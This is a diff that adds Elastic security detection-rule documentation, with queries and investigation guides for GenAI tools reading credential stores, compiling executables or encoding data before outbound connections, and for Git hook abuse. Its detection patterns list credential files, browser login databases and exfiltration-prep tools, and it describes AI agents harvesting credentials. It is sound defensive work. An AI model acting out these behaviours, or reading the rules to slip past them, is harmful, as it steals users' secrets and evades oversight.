+ +* Domain: Endpoint +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Collection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Domain: LLM +* Mitre Atlas: T0085 +* Mitre Atlas: T0085.001 +* Mitre Atlas: T0055 + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GenAI Process Accessing Sensitive Files* + + +This rule detects GenAI tools accessing credential files, SSH keys, browser data, or shell configurations. While GenAI tools legitimately access project files, access to sensitive credential stores is unusual and warrants investigation. + + +*Possible investigation steps* + + +- Review the GenAI process that triggered the alert to identify which tool is being used and verify if it's an expected/authorized tool. +- Investigate the user account associated with the GenAI process to determine if this activity is expected for that user. +- Review the types of sensitive files being accessed (credentials, keys, browser data, etc.) to assess the potential impact of credential harvesting or data exfiltration. +- Check for other alerts or suspicious activity on the same host around the same time, particularly network exfiltration events. +- Verify if the GenAI tool or extension is from a trusted source and if it's authorized for use in your environment. +- Determine if the GenAI process accessed multiple sensitive directories in sequence, an indication of credential harvesting. +- Check if the GenAI tool recently created or accessed AI agent config files, which may contain instructions enabling autonomous file scanning. +- Review whether the access was preceded by an MCP server, LangChain agent, or background automation. + + +*False positive analysis* + + +- Automated security scanning or auditing tools that leverage GenAI may access sensitive files as part of their normal operation. +- Development workflows that use GenAI tools for code analysis may occasionally access credential files. + + +*Response and remediation* + + +- Immediately review the GenAI process that accessed the documents to determine if it's compromised or malicious. +- Review, rotate, and revoke any API keys, tokens, or credentials that may have been exposed or used by the GenAI tool. +- Investigate the document access patterns to determine the scope of potential data exfiltration. +- Update security policies to restrict or monitor GenAI tool usage in the environment, especially for access to sensitive files. + + +==== Rule query + + +[source, js] +---------------------------------- +file where event.action in ("open", "creation", "modification") and event.outcome == "success" and + + // GenAI process + ( + process.name in ( + "ollama.exe", "ollama", "Ollama", + "textgen.exe", "textgen", "text-generation-webui.exe", "oobabooga.exe", + "lmstudio.exe", "lmstudio", "LM Studio", + "claude.exe", "claude", "Claude", + "cursor.exe", "cursor", "Cursor", + "copilot.exe", "copilot", "Copilot", + "codex.exe", "codex", + "Jan", "jan.exe", "jan", + "gpt4all.exe", "gpt4all", "GPT4All", + "gemini-cli.exe", "gemini-cli", + "genaiscript.exe", "genaiscript", + "grok.exe", "grok", + "qwen.exe", "qwen", + "koboldcpp.exe", "koboldcpp", "KoboldCpp", + "llama-server", "llama-cli" + ) or + // OpenClaw/Moltbot/Clawdbot via Node.js + (process.name in ("node", "node.exe") and + process.command_line like~ ("*openclaw*", "*moltbot*", "*clawdbot*")) + ) and + + // Sensitive file paths + ( + // Persistence via Shell configs + file.name in (".bashrc", ".bash_profile", ".zshrc", ".zshenv", ".zprofile", ".profile", ".bash_logout") or + + // Credentials In Files + file.name like~ + ("key?.db", + "logins.json", + "Login Data", + "Local State", + "signons.sqlite", + "Cookies", + "cookies.sqlite", + "Cookies.binarycookies", + "login.keychain-db", + "System.keychain", + "credentials.db", + "credentials", + "access_tokens.db", + "accessTokens.json", + "azureProfile.json", + "RDCMan.settings", + "known_hosts", + "KeePass.config.xml", + "Unattended.xml") + ) and not ( + host.os.type == "windows" and + process.name : ("claude.exe", "Claude") and + file.path : ("?:\\Users\\*\\AppData\\Roaming\\Claude\\Local State", + "?:\\Users\\*\\AppData\\Local\\Packages\\Claude_*\\LocalCache\\Roaming\\Claude\\Local State") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-genai-process-compiling-or-generating-executables.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-genai-process-compiling-or-generating-executables.asciidoc new file mode 100644 index 0000000000..8af4e5f5bf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-genai-process-compiling-or-generating-executables.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-20-genai-process-compiling-or-generating-executables]] +=== GenAI Process Compiling or Generating Executables + +Detects when GenAI tools spawn compilers or packaging tools to generate executables. Attackers leverage local LLMs to autonomously generate and compile malware, droppers, or implants. Python packaging tools (pyinstaller, nuitka, pyarmor) are particularly high-risk as they create standalone executables that can be deployed without dependencies. This rule focuses on compilation activity that produces output binaries, filtering out inspection-only operations. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://atlas.mitre.org/techniques/AML.T0053 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Auditd Manager +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Resources: Investigation Guide +* Domain: LLM +* Mitre Atlas: T0053 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GenAI Process Compiling or Generating Executables* + + +This rule detects GenAI tools spawning compilers or packaging tools. While developers may use GenAI to write code that they then compile, autonomous compilation by GenAI processes is unusual. + + +*Possible investigation steps* + + +- Review the GenAI process that spawned the compiler to identify which tool is running and verify if it's an expected/authorized tool. +- Investigate the user account associated with the GenAI process to determine if this activity is expected for that user. +- Review the output files created by the compilation process to identify any malicious executables. +- Check for other alerts or suspicious activity on the same host around the same time. +- Verify if the GenAI tool is from a trusted source and if it's authorized for use in your environment. +- Identify whether the generated executables appear in temporary directories often used for malware staging (`%TEMP%`, `/tmp`, `.cache`). +- Inspect the compiled artifacts for networking imports, credential harvesting functionality, or persistence mechanisms. + + +*False positive analysis* + + +- Legitimate development workflows that use GenAI tools for code generation may trigger this rule if they compile the generated code. +- Some GenAI-assisted coding IDEs (Cursor, Copilot Workspace) may run compilation tasks when testing code; confirm whether the behavior is tied to developer workflow. + + +*Response and remediation* + + +- Terminate the GenAI process and any spawned compiler processes to stop the malicious activity. +- Investigate the compiled executables to determine if they are malicious. +- Review audit logs to determine the scope of compilation activity and identify any executables that may have been created. +- Quarantine any compiled binaries; submit suspicious artifacts to sandbox or malware analysis. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and + + // GenAI parent process + ( + process.parent.name in ( + "ollama.exe", "ollama", "Ollama", + "textgen.exe", "textgen", "text-generation-webui.exe", "oobabooga.exe", + "lmstudio.exe", "lmstudio", "LM Studio", + "claude.exe", "claude", "Claude", + "cursor.exe", "cursor", "Cursor", "Cursor Helper", "Cursor Helper (Plugin)", + "copilot.exe", "copilot", "Copilot", + "codex.exe", "codex", + "Jan", "jan.exe", "jan", "Jan Helper", + "gpt4all.exe", "gpt4all", "GPT4All", + "gemini-cli.exe", "gemini-cli", + "genaiscript.exe", "genaiscript", + "grok.exe", "grok", + "qwen.exe", "qwen", + "koboldcpp.exe", "koboldcpp", "KoboldCpp", + "llama-server", "llama-cli" + ) or + + // Node/Deno with GenAI frameworks + (process.parent.name in ("node.exe", "node", "deno.exe", "deno") and + process.parent.command_line like~ ("*mcp-server*", "*@modelcontextprotocol*", "*langchain*", "*autogpt*", "*babyagi*", "*agentgpt*", "*crewai*", "*semantic-kernel*", "*llama-index*", "*haystack*")) or + + // Python with GenAI frameworks + (process.parent.name like~ "python*" and + process.parent.command_line like~ ("*langchain*", "*autogpt*", "*babyagi*", "*agentgpt*", "*crewai*", "*semantic-kernel*", "*llama-index*", "*haystack*")) + ) and + + // Compilation tools + ( + // Python packaging + process.name in ("pyinstaller", "py2exe", "cx_Freeze", "nuitka", "pyarmor", "pkg") or + + // C/C++ compilation with output + (process.name in ("gcc", "g++", "clang", "clang++", "cl.exe") and + process.command_line like~ "*-o *" and + process.command_line like~ ("*.c *", "*.c", "*.cpp *", "*.cpp", "*.cc *", "*.cc", "*.m *", "*.m") and + not process.command_line like~ "*git*") or + + // Go compilation + (process.name == "go" and process.args == "build") or + + // Rust compilation + (process.name == "cargo" and process.args == "build") or + (process.name == "rustc" and process.command_line like~ "*-o *") or + + // .NET compilation + process.name in ("csc.exe", "vbc.exe", "msbuild.exe") or + (process.name == "dotnet" and process.args == "build") or + + // Java compilation + process.name == "javac" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Compile After Delivery +** ID: T1027.004 +** Reference URL: https://attack.mitre.org/techniques/T1027/004/ +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Develop Capabilities +** ID: T1587 +** Reference URL: https://attack.mitre.org/techniques/T1587/ +* Sub-technique: +** Name: Malware +** ID: T1587.001 +** Reference URL: https://attack.mitre.org/techniques/T1587/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-genai-process-performing-encoding-chunking-prior-to-network-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-genai-process-performing-encoding-chunking-prior-to-network-activity.asciidoc new file mode 100644 index 0000000000..253705069e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-genai-process-performing-encoding-chunking-prior-to-network-activity.asciidoc @@ -0,0 +1,216 @@ +[[prebuilt-rule-8-19-20-genai-process-performing-encoding-chunking-prior-to-network-activity]] +=== GenAI Process Performing Encoding/Chunking Prior to Network Activity + +Detects when GenAI processes perform encoding or chunking (base64, gzip, tar, zip) followed by outbound network activity. This sequence indicates data preparation for exfiltration. Attackers encode or compress sensitive data before transmission to obfuscate contents and evade detection. Legitimate GenAI workflows rarely encode data before network communications. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://atlas.mitre.org/techniques/AML.T0086 +* https://glama.ai/blog/2025-11-11-the-lethal-trifecta-securing-model-context-protocol-against-data-flow-attacks +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Exfiltration +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Resources: Investigation Guide +* Domain: LLM +* Mitre Atlas: T0086 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GenAI Process Performing Encoding/Chunking Prior to Network Activity* + + +GenAI processes performing encoding or chunking operations followed by network activity is highly suspicious. This behavior indicates data preparation for exfiltration via GenAI prompts or agents, which is a strong indicator of malicious activity. + + +*Possible investigation steps* + + +- Review the GenAI process that performed the encoding to identify which tool is running and verify if it's an expected/authorized tool. +- Examine the encoding/chunking command line arguments to understand what data is being processed. +- Review the network connection details to identify the destination and determine if it's expected. +- Investigate the user account associated with the GenAI process to determine if this activity is expected for that user. +- Review the data that was encoded to determine if it contains sensitive information. +- Determine whether the encoding was initiated by a GenAI agent or automation loop rather than a user action. +- Check whether the encoded data size or entropy suggests credential files, browser data, SSH keys, or cloud tokens. +- Validate that the GenAI tool is installed from a trusted source and has not been modified. + + +*False positive analysis* + + +- Legitimate data processing workflows that use GenAI tools may trigger this rule if they encode data before transmission. +- Some local developer workflows may encode files before uploading training data or embeddings; confirm whether the host is a model-development workstation. + + +*Response and remediation* + + +- Terminate the GenAI process and any spawned encoding/network processes to stop the malicious activity. +- Review and revoke any API keys, tokens, or credentials that may have been exposed or used by the GenAI tool. +- Investigate the encoded data and network destination to determine the scope of potential data exfiltration. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=30s + + // Encoding/compression followed by network activity + [process where event.type == "start" + and event.type == "start" + + // Encoding/chunking tools + and ( + // Native encoding tools + process.name in ("base64", "gzip", "tar", "zip", "split", "7z", "7za", "7zr") or + + // PowerShell encoding + (process.name in ("powershell.exe", "pwsh.exe") and + process.command_line like~ ("*Compress-Archive*", "*[Convert]::ToBase64String*")) or + + // Python encoding + (process.name like~ "python*" and + process.command_line like~ ("*base64*", "*gzip*", "*zlib*", "*tarfile*", "*zipfile*")) or + + // Node.js encoding + (process.name in ("node.exe", "node") and + process.command_line like~ ("*Buffer.from*", "*zlib*", "*gzip*") and + not process.command_line like~ ("*mcp*start*", "*mcp-server*", "*npm exec*mcp*")) + ) + + // GenAI parent process + and ( + process.parent.name in ( + "ollama.exe", "ollama", "Ollama", + "textgen.exe", "textgen", "text-generation-webui.exe", "oobabooga.exe", + "lmstudio.exe", "lmstudio", "LM Studio", + "claude.exe", "claude", "Claude", + "cursor.exe", "cursor", "Cursor", "Cursor Helper", "Cursor Helper (Plugin)", + "copilot.exe", "copilot", "Copilot", + "codex.exe", "codex", + "Jan", "jan.exe", "jan", "Jan Helper", + "gpt4all.exe", "gpt4all", "GPT4All", + "gemini-cli.exe", "gemini-cli", + "genaiscript.exe", "genaiscript", + "grok.exe", "grok", + "qwen.exe", "qwen", + "koboldcpp.exe", "koboldcpp", "KoboldCpp", + "llama-server", "llama-cli" + ) or + + // Node/Deno with GenAI frameworks + (process.parent.name in ("node.exe", "node", "deno.exe", "deno") and + process.parent.command_line like~ ( + "*ollama*", "*mcp-server*", "*@modelcontextprotocol*", "*langchain*", "*autogpt*", + "*babyagi*", "*agentgpt*", "*crewai*", "*semantic-kernel*", "*llama-index*", + "*haystack*", "*openai*", "*anthropic*", "*cohere*", "*mistral*" + )) or + + // Python with GenAI frameworks + (process.parent.name like~ "python*" and + process.parent.command_line like~ ( + "*ollama*", "*mcp-server*", "*langchain*", "*autogpt*", "*babyagi*", + "*agentgpt*", "*crewai*", "*semantic-kernel*", "*llama-index*", "*haystack*", + "*openai*", "*anthropic*", "*cohere*", "*mistral*" + )) + ) + ] by process.entity_id + + // Outbound network connection (non-local) + [network where event.type == "start" + and event.action == "connection_attempted" + and destination.ip != null + and not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8") + + ] by process.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Archive Collected Data +** ID: T1560 +** Reference URL: https://attack.mitre.org/techniques/T1560/ +* Sub-technique: +** Name: Archive via Utility +** ID: T1560.001 +** Reference URL: https://attack.mitre.org/techniques/T1560/001/ +* Sub-technique: +** Name: Archive via Library +** ID: T1560.002 +** Reference URL: https://attack.mitre.org/techniques/T1560/002/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Data Transfer Size Limits +** ID: T1030 +** Reference URL: https://attack.mitre.org/techniques/T1030/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-git-hook-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-git-hook-child-process.asciidoc new file mode 100644 index 0000000000..be2f6a03ab --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-git-hook-child-process.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-20-git-hook-child-process]] +=== Git Hook Child Process + +This rule detects child processes spawned by Git hooks. Git hooks are scripts that Git executes before or after events such as commit, push, and receive. The rule identifies child processes spawned by Git hooks that are not typically spawned by the Git process itself. This behavior may indicate an attacker attempting to hide malicious activity by leveraging the legitimate Git process to execute unauthorized commands. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://git-scm.com/docs/githooks/2.26.0 +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Git Hook Child Process* + + +Git hooks are scripts that automate tasks during Git operations like commits or pushes. Adversaries may exploit these hooks to execute unauthorized commands, masking malicious activities under legitimate processes. The detection rule identifies unusual child processes spawned by Git hooks, focusing on atypical scripts or executables in suspicious directories, signaling potential misuse. + + +*Possible investigation steps* + + +- Review the process tree to understand the parent-child relationship, focusing on the parent process names listed in the query, such as "pre-commit" or "post-update", to determine the context of the spawned child process. +- Examine the command line arguments and environment variables of the suspicious child process to identify any potentially malicious or unauthorized commands being executed. +- Check the file paths of the executables involved, especially those in unusual directories like "/tmp/*" or "/var/tmp/*", to assess if they are legitimate or potentially harmful. +- Investigate the user account under which the suspicious process is running to determine if it has been compromised or is being used in an unauthorized manner. +- Correlate the event with other security logs or alerts from the same host to identify any patterns or additional indicators of compromise. +- Review recent Git activity on the repository to identify any unauthorized changes or suspicious commits that might indicate tampering with Git hooks. + + +*False positive analysis* + + +- Legitimate development scripts: Developers may use scripts in directories like /tmp or /var/tmp for testing purposes. To handle this, create exceptions for known scripts or directories used by trusted developers. +- Custom shell usage: Developers might use shells like bash or zsh for legitimate automation tasks. Identify and whitelist these specific shell scripts if they are part of regular development workflows. +- Temporary file execution: Some applications may temporarily execute files from directories like /dev/shm or /run. Monitor these applications and exclude them if they are verified as non-threatening. +- Non-standard interpreters: Developers might use interpreters like php or perl for legitimate tasks. Review and whitelist these processes if they are part of approved development activities. +- System maintenance scripts: Scheduled tasks or maintenance scripts might run from /etc/cron.* or /etc/init.d. Verify these scripts and exclude them if they are part of routine system operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or execution of malicious commands. +- Terminate any suspicious processes identified by the detection rule, especially those originating from unusual directories or involving unexpected scripts or executables. +- Conduct a thorough review of the Git hooks on the affected system to identify and remove any unauthorized or malicious scripts. +- Restore any modified or deleted files from a known good backup to ensure system integrity and continuity of operations. +- Implement stricter access controls and permissions for Git repositories and associated directories to prevent unauthorized modifications to Git hooks. +- Monitor the affected system and related network activity closely for any signs of persistence or further compromise, using enhanced logging and alerting mechanisms. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data have been affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.parent.name in ( + "applypatch-msg", "commit-msg", "fsmonitor-watchman", "post-update", "post-checkout", "post-commit", + "pre-applypatch", "pre-commit", "pre-merge-commit", "prepare-commit-msg", "pre-push", "pre-rebase", "pre-receive", + "push-to-checkout", "update", "post-receive", "pre-auto-gc", "post-rewrite", "sendemail-validate", "p4-pre-submit", + "post-index-change", "post-merge", "post-applypatch" +) and +( + process.name in ("nohup", "setsid", "disown", "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") or + process.name like ("php*", "perl*", "ruby*", "lua*") or + process.executable like ( + "/boot/*", "/dev/shm/*", "/etc/cron.*/*", "/etc/init.d/*", "/etc/update-motd.d/*", + "/run/*", "/srv/*", "/tmp/*", "/var/tmp/*", "/var/log/*" + ) +) and +not process.name in ("git", "dirname") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-git-hook-command-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-git-hook-command-execution.asciidoc new file mode 100644 index 0000000000..379a6704d5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-git-hook-command-execution.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-20-git-hook-command-execution]] +=== Git Hook Command Execution + +This rule detects the execution of a potentially malicious process from a Git hook. Git hooks are scripts that Git executes before or after events such as: commit, push, and receive. An attacker can abuse Git hooks to execute arbitrary commands on the system and establish persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-git +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Git Hook Command Execution* + + +Git hooks are scripts that automate tasks by executing before or after Git events like commits or pushes. While useful for developers, adversaries can exploit them to run malicious commands, gaining persistence or evading defenses. The detection rule identifies suspicious processes initiated by Git hooks, focusing on shell executions, to flag potential abuse on Linux systems. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific Git hook script path and the suspicious process name that was executed, as indicated by the process.args and process.name fields. +- Examine the process tree to understand the parent-child relationship, focusing on the process.parent.name and process.entity_id fields, to determine how the suspicious process was initiated. +- Check the Git repository's history and recent changes to the .git/hooks directory to identify any unauthorized modifications or additions to the hook scripts. +- Investigate the user account associated with the process execution to determine if the activity aligns with their typical behavior or if it indicates potential compromise. +- Analyze the command-line arguments and environment variables of the suspicious process to gather more context on the nature of the executed command. +- Correlate this event with other security alerts or logs from the same host.id to identify any patterns or additional indicators of compromise. +- If possible, isolate the affected system and conduct a deeper forensic analysis to uncover any further malicious activity or persistence mechanisms. + + +*False positive analysis* + + +- Developers using Git hooks for legitimate automation tasks may trigger this rule. To manage this, identify and document common scripts used in your development environment and create exceptions for these known benign processes. +- Continuous integration and deployment (CI/CD) systems often utilize Git hooks to automate workflows. Review the processes initiated by these systems and exclude them from detection if they are verified as non-malicious. +- Custom scripts executed via Git hooks for project-specific tasks can also cause false positives. Collaborate with development teams to catalog these scripts and adjust the detection rule to exclude them. +- Frequent updates or changes in Git repositories might lead to repeated triggering of the rule. Monitor these activities and, if consistent and verified as safe, consider adding them to an allowlist to reduce noise. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified as being executed from Git hooks, especially those involving shell executions. +- Conduct a thorough review of the .git/hooks directory on the affected system to identify and remove any unauthorized or malicious scripts. +- Restore any modified or deleted files from a known good backup to ensure system integrity. +- Implement monitoring for any future modifications to the .git/hooks directory to detect unauthorized changes promptly. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Review and update access controls and permissions for Git repositories to limit the ability to modify hooks to trusted users only. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic 